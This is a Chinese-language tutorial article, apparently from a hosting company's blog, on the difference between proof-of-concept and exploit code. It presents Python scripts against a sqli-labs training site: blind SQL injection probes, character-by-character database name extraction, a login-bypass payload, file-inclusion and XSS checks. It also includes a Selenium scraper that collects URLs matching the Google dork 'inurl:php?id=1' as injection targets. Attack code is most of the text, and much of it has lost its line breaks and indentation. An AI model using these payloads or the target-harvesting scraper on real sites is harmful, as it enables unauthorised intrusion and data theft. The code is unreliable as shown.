您好,登錄后才能下訂單哦!
本篇內容介紹了“Python的POC和EXP區別是什么”的有關知識,在實際案例的操作過程中,不少人都會遇到這樣的困境,接下來就讓小編帶領大家學習一下如何處理這些情況吧!希望大家仔細閱讀,能夠學有所成!
POC (Proof of Concept), 直譯為“概念證明”,百度百科的權威定義如下:“概念證明是證實發布的漏洞真實性的測試代碼”。==》poc的要求:確定性,能夠驗證漏洞真實存在。
它可能僅僅只是一小段代碼,功能也比較簡單,只要能夠用來驗證某一個或者一類漏洞真實存在即可。編寫POC的門檻并不是很高,關鍵還是在于對漏洞本身的理解。
POC框架可以對大量POC進行管理與調度,提供了統一的編程規范與接口,是編寫POC很好的幫手。我們只需要按照框架自定義的格式寫好POC.然后放在框架中運行即可。
Pocsuite框架現為知道創宇Seebug平臺通用的漏洞驗證框架,使用Python編寫POC。可以提交POC換kb, kb可以用來兌換現金,掙點零花錢還是相當不錯的。老司機們可能聽過Sebug,那是Seebug的前身, 2016年Sebug收購了另一個優秀框架Beebeeto后,更名為Seebug。
Tangscan (唐朝掃描器)是wooyun社區的官方框架,使用Python編寫POC。可以提交POC換湯圓,參與現金分紅。
Bugscan是四葉草的官方框架,使用Python編寫POC。提交POC插件獲取rank獎勵,可兌換實物獎勵,獎品還是蠻豐富的。
POC可以看成是一段驗證的代碼, 就像是一個證據, 能夠證明漏洞的真實性。
EXP (Exploit) :中文直譯為“漏洞利用”,簡單點講,就是通過EXP能夠實現漏洞的利用價值。比如某個系統存在SQL注入漏洞,我們可以編寫EXP來提取數據庫版本信息等。
但是有時兩者也不太好區分。我們也可以在POC中加入Exploit的代碼,現在很多開源的POC框架其實就是這樣做的,比如下面會講到的幾個框架。我們可以這么認為:有POC不一定有EXP,但有EXP一定有POC。前半段是指,有poc但不一定所有都可以利用來完成有效攻擊,所以不一定有exp。后半段是指,有可以用于進行有效攻擊的漏洞那一定存在exp。
判斷注入閉合方式
'''
布爾盲注:http://192.168.30.164/sqli/Less-5/
判斷是否存在單引號閉合的sql注入
poc編寫:結果有或者沒有
'''
import requestsdef verify(url):
payload1 = "?id=1' and 1=1 --+"
payload2 = "?id=1' and 1=2 --+"
resp1 = requests.get(url+payload1)
resp2 = requests.get(url+payload2)text1 = resp1.text
text2 = resp2.text
print(text2)
if ('You are in' in text1) and ('You are in' not in text2):
print(url,':存在單引號閉合的sql注入(盲注)')
else:
print(url,':不存在單引號閉合的sql注入(盲注)')
verify('http://192.168.30.164/sqli/Less-5/')
2.判斷數據庫長度 ==》數據庫名字最長為64 數據表名字最長為64 字段名字最長為64
import requests
def verify(url):
for i in range(1,20):
payload1 = "?id=1' and length(database())={} --+".format(i)
resp1 = requests.get(url+payload1)
text1 = resp1.text
if 'You are in' in text1:
print('database長度為:%s'%i)
break
if __name__=='__main__':
url = "http://192.168.30.164/sqli/Less-5/"
verify(url)
3.判斷數據庫名
'''
exp的小練習啦
布爾盲注:http://192.168.30.164/sqli/Less-5/
You are in
'''import requests
def verify(url):
# length = []
for i in range(1,8):
list = 'abcdefghijklmnopqrstuvwxyz'
for k in range(1,26):
j = list[k]
# payload1 = "?id=1' and length(database())={} --+".format(i)
payload1 = "?id=1' and substr(database(),{},1)='{}' --+".format(i,j)
resp1 = requests.get(url+payload1)
text1 = resp1.text
if 'You are in' in text1:
print('database為:%s'%j)
breakif __name__=='__main__':
url = "http://192.168.30.164/sqli/Less-5/"
verify(url)# j = input('請輸入想玩耍關卡:')
# verify('http://192.168.30.164/sqli/Less-{}/'.format(j))
# verify('http://192.168.30.164/sqli/Less-5/')
post型的SQL注入,需要在獲取其url的基礎上再獲取表單中傳的值,具體可通過burpsuite來抓包進行分析獲得。在python中將所傳的值放入請求以鍵值對的形式上傳。
'''
Post poc
http://192.168.30.164/sqli/Less-11/
'''
import requestsurl = "http://192.168.30.164/sqli/Less-11/"
payloads = "admin' or '1'='1 #"
response = requests.post(url,data={'uname':payloads,'passwd':123})
html = response.text
print(html)
if 'Your Login name' in html:
print('Post注入')
文件包含:
本地文件包含 =》http://127.0.0.1/1/lfi.php?file=phpinfo.txt
遠程文件包含 =》需要開啟 allow_url_include,默認是off。遠程文件包含?file=http://遠程文件地址
"""
文件包含 poc
http://127.0.0.1/1/lfi.php?file=phpinfo.txt
"""
import requestsdef verify(url):
payload = '?file=phpinfo.txt'
reaponse = requests.get(url+payload)
html_str = reaponse.text
if 'PHP Version' in html_str:
print('存在本地文件包含')
else:
print('不存在')
if __name__ == '__main__':
verify(url="http://127.0.0.1/1/lfi.php")
XSS是除SQL注入外第二大的漏洞,類別有:反射型XSS,存儲型XSS,DOM型XSS。
XSS可以做什么:
蠕蟲 ==》帥的一批
獲取cookie
獲取被攻擊者真實ip:javascript 本身不具備此功能
識別用戶安裝的軟件
XSS釣魚
截圖
鍵盤記錄
訪問瀏覽器的訪問記錄
內網掃描
"""
xss跨站腳本攻擊
彈窗
http://127.0.0.1/1/xss.php?title=%3C/title%3E%3Cscript%3Ealert(123)%3C/script%3E
"""
import requests
import re
def POC():
response = requests.get('http://127.0.0.1/1/xss.php?title=</title><script>alert(123)</script>')
res = response.text
if re.search('alert\(123\)',res):
return True
else:
return False
if __name__ == '__main__':
print(POC())
site:可以限制你搜索范圍的域名.
inurl:用于搜索網頁上包含的URL,這個語法對尋找網頁上的搜索,幫助之類的很有用.
intext: 只搜索網頁<body>部分中包含的文字(也就是忽略了標題、URL等的文字)
intitle: 查包含關鍵詞的頁面,一般用于社工別人的webshell密碼
filetype:搜索文件的后綴或者擴展名
intitle:限制你搜索的網頁標題.
link: 可以得到一個所有包含了某個指定URL的頁面列表.
"""
selenium爬蟲
1.通過google語法批量獲取 php?id=1 d的url
2.url存到文件中:urls.txt
"""from selenium import webdriver
import time
import re# #設置無頭
# chrome_option =dirver = webdriver.Chrome(r'G:\python\file\chromedriver.exe') #創建谷歌瀏覽器對象,打開谷歌瀏覽器
dirver.get('https://www.google.com/search?q=inurl:php?id=1')for i in range(10):
time.sleep(1.5)
dirver.execute_script('window.scrollTo(0,document.body.scrollHeight)')
html_str = dirver.page_source # 獲取源碼
#數據解析
# test = dirver.find_element_by_xpath('//a[@id="pnnext"]/span[2]')
pattern = re.compile('<div class="r"><a href="(.*?)"',re.S)
#點擊下一頁
# test = dirver.find_element_by_link_text('下一頁')
test = dirver.find_element_by_class_name('r')[0] #定位到一個元素
result = re.findall(pattern,html_str)
test.click() # 模擬點擊
print(result)dirver.close() #關閉瀏覽器
selenium 是一個用于Web應用程序測試的工具。Selenium測試直接運行在瀏覽器中,就像真正的用戶在操作一樣。selenium的核心Selenium Core基于JsUnit,完全由JavaScript編寫,因此可以用于任何支持JavaScript的瀏覽器上。selenium可以模擬真實瀏覽器,自動化測試工具,支持多種瀏覽器,爬蟲中主要用來解決JavaScript渲染問題。
"""
selenium實現模擬登錄
"""
from selenium import webdriver
import time
driver = webdriver.Chrome() #Chrome()是一個對象來著
url = 'http://192.168.30.164/sqli/Less-11/'
driver.get(url)
print(driver.page_source)username = driver.find_element_by_xpath('/html/body/div[2]/div/form/div[1]/input')
password = driver.find_element_by_xpath('/html/body/div[2]/div/form/div[2]/input')
submit = driver.find_element_by_xpath('//form/div[3]/input') #雙斜杠指從任意位置到當前的位置username.clear()
username.send_keys('admin')
time.sleep(1)
password.clear()
password.send_keys('admin')
time.sleep(1)
submit.click()
time.sleep(5)driver.close()
“Python的POC和EXP區別是什么”的內容就介紹到這里了,感謝大家的閱讀。如果想了解更多行業相關的知識可以關注億速云網站,小編將為大家輸出更多高質量的實用文章!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。